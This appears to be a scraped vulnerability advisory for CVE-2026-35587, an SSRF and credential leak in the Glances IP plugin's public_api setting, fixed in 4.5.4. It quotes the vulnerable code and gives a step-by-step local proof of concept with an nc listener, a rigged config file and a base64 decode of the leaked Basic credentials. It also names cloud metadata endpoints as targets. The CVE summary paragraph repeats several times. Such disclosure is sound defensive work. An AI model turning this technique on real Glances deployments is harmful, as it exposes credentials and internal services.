CVE-2026-35587

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.4, a Server-Side Request Forgery (SSRF) vulnerability exists in the Glances IP plugin due to improper validation of the public_api configuration parameter. The value of public_api is used directly in outbound HTTP requests without any scheme restriction or hostname/IP validation. An attacker who can modify the Glances configuration can force the application to send requests to arbitrary internal or external endpoints. Additionally, when public_username and public_password are set, Glances automatically includes these credentials in the Authorization: Basic header, resulting in credential leakage to attacker-controlled servers. This vulnerability can be exploited to access internal network services, retrieve sensitive data from cloud metadata endpoints, and/or exfiltrate credentials via outbound HTTP requests. The issue arises because public_api is passed directly to the HTTP client (urlopen_auth) without validation, allowing unrestricted outbound connections and unintended disclosure of sensitive information. Version 4.5.4 contains a patch.

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.4, a Server-Side Request Forgery (SSRF) vulnerability exists in the Glances IP plugin due to improper validation of the public_api configuration parameter. The value of public_api is used directly in outbound HTTP requests without any scheme restriction or hostname/IP validation. An attacker who can modify the Glances configuration can force the application to send requests to arbitrary internal or external endpoints. Additionally, when public_username and public_password are set, Glances automatically includes these credentials in the Authorization: Basic header, resulting in credential leakage to attacker-controlled servers. This vulnerability can be exploited to access internal network services, retrieve sensitive data from cloud metadata endpoints, and/or exfiltrate credentials via outbound HTTP requests. The issue arises because public_api is passed directly to the HTTP client (urlopen_auth) without validation, allowing unrestricted outbound connections and unintended disclosure of sensitive information. Version 4.5.4 contains a patch.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in the Glances IP plugin due to improper validation of the public_api configuration parameter. The value of public_api is used directly in outbound HTTP requests without any scheme restriction or hostname/IP validation.

An attacker who can modify the Glances configuration can force the application to send requests to arbitrary internal or external endpoints. Additionally, when public_username and public_password are set, Glances automatically includes these credentials in the Authorization: Basic header, resulting in credential leakage to attacker-controlled servers.

This vulnerability can be exploited to:

Access internal network services (e.g., 127.0.0.1, 192.168.x.x) Retrieve sensitive data from cloud metadata endpoints (e.g., 169.254.169.254) Exfiltrate credentials via outbound HTTP requests

The issue arises because public_api is passed directly to the HTTP client (urlopen_auth) without validation, allowing unrestricted outbound connections and unintended disclosure of sensitive information.

Details

The vulnerability exists in the Glances IP plugin where the public_api configuration value is used to fetch public IP information. This value is read directly from the configuration file and passed to the HTTP client without any validation.

Root Cause In glances/plugins/ip/init.py, the public_api parameter is retrieved from configuration and later used to initialize a background thread responsible for making HTTP requests:

self.public_api = self.get_conf_value("public_api", default=[None])[0]

self.public_ip_thread = ThreadPublicIpAddress(
    url=self.public_api,
    username=self.public_username,
    password=self.public_password,
    refresh_interval=self.public_address_refresh_interval,
)

There is no validation performed on:

• URL scheme (e.g., http, https, file)
• Hostname or resolved IP address
• Internal or restricted IP ranges
• Unsafe HTTP Request Handling

The request is executed via urlopen_auth() in glances/globals.py:

def urlopen_auth(url, username, password, timeout=3):
    return urlopen(
        Request(
            url,
            headers={
                'Authorization': 'Basic ' +
                base64.b64encode(f'{username}:{password}'.encode()).decode()
            },
        ),
        timeout=timeout,
    )

This function:

• Accepts any URL passed to it
• Automatically attaches a Basic Authorization header
• Does not enforce any restrictions on destination

PoC

SSRF via public_api (Glances IP Plugin) Prerequisites Glances installed Two terminals Step 1 Start listener (Terminal 1) nc -lvnp 9999

Step 2 Create malicious config (Terminal 2) mkdir -p ~/.config/glances

cat > ~/.config/glances/glances.conf << 'EOF' [ip] public_disabled=False public_api=http://127.0.0.1:9999/ssrf-poc public_username=apiuser public_password=S3cr3tP@ss EOF

Step 3 Start Glances glances --webserver Step 4 Observe SSRF request (Terminal 1) GET /ssrf-poc HTTP/1.1 Host: 127.0.0.1:9999 User-Agent: Python-urllib/3.x

Authorization: Basic YXBpdXNlcjpTM2NyM3RQQHNz Step 5 Decode leaked credentials echo "YXBpdXNlcjpTM2NyM3RQQHNz" | base64 -d

Output: apiuser:S3cr3tP@ss Step 6 Confirm data via API curl -s http://127.0.0.1:61208/api/4/ip

{
  "address": "**.***.***.***",
  "mask": "255.255.255.0",
  "mask_cidr": 24
}

Impact

This vulnerability allows an attacker to control outbound HTTP requests made by the Glances IP plugin via the public_api configuration parameter.

Server-Side Request Forgery (SSRF): The application can be forced to send requests to arbitrary endpoints, including internal services and localhost. Credential Leakage: When public_username and public_password are configured, they are automatically sent in the Authorization: Basic header to any target defined in public_api, exposing credentials to attacker-controlled servers.…

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.4, a Server-Side Request Forgery (SSRF) vulnerability exists in the Glances IP plugin due to improper validation of the public_api configuration parameter. The value of public_api is used directly in outbound HTTP requests without any scheme restriction or hostname/IP validation. An attacker who can modify the Glances configuration can force the application to send requests to arbitrary internal or external endpoints. Additionally, when public_username and public_password are set, Glances automatically includes these credentials in the Authorization: Basic header, resulting in credential leakage to attacker-controlled servers. This vulnerability can be exploited to access internal network services, retrieve sensitive data from cloud metadata endpoints, and/or exfiltrate credentials via outbound HTTP requests. The issue arises because public_api is passed directly to the HTTP client (urlopen_auth) without validation, allowing unrestricted outbound connections and unintended disclosure of sensitive information. Version 4.5.4 contains a patch.

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.4, a Server-Side Request Forgery (SSRF) vulnerability exists in the Glances IP plugin due to improper validation of the public_api configuration parameter. The value of public_api is used directly in outbound HTTP requests without any scheme restriction or hostname/IP validation. An attacker who can modify the Glances configuration can force the application to send requests to arbitrary internal or external endpoints. Additionally, when public_username and public_password are set, Glances automatically includes these credentials in the Authorization: Basic header, resulting in credential leakage to attacker-controlled servers. This vulnerability can be exploited to access internal network services, retrieve sensitive data from cloud metadata endpoints, and/or exfiltrate credentials via outbound HTTP requests. The issue arises because public_api is passed directly to the HTTP client (urlopen_auth) without validation, allowing unrestricted outbound connections and unintended disclosure of sensitive information. Version 4.5.4 contains a patch.

Glances is an open-source system cross-platform monitoring tool. Prior to version 4.5.4, a Server-Side Request Forgery (SSRF) vulnerability exists in the Glances IP plugin due to improper validation of the public_api configuration parameter. The value of public_api is used directly in outbound HTTP requests without any scheme restriction or hostname/IP validation. An attacker who can modify the Glances configuration can force the application to send requests to arbitrary internal or external endpoints. Additionally, when public_username and public_password are set, Glances automatically includes these credentials in the Authorization: Basic header, resulting in credential leakage to attacker-controlled servers. This vulnerability can be exploited to access internal network services, retrieve sensitive data from cloud metadata endpoints, and/or exfiltrate credentials via outbound HTTP requests. The issue arises because public_api is passed directly to the HTTP client (urlopen_auth) without validation, allowing unrestricted outbound connections and unintended disclosure of sensitive information. Version 4.5.4 contains a patch.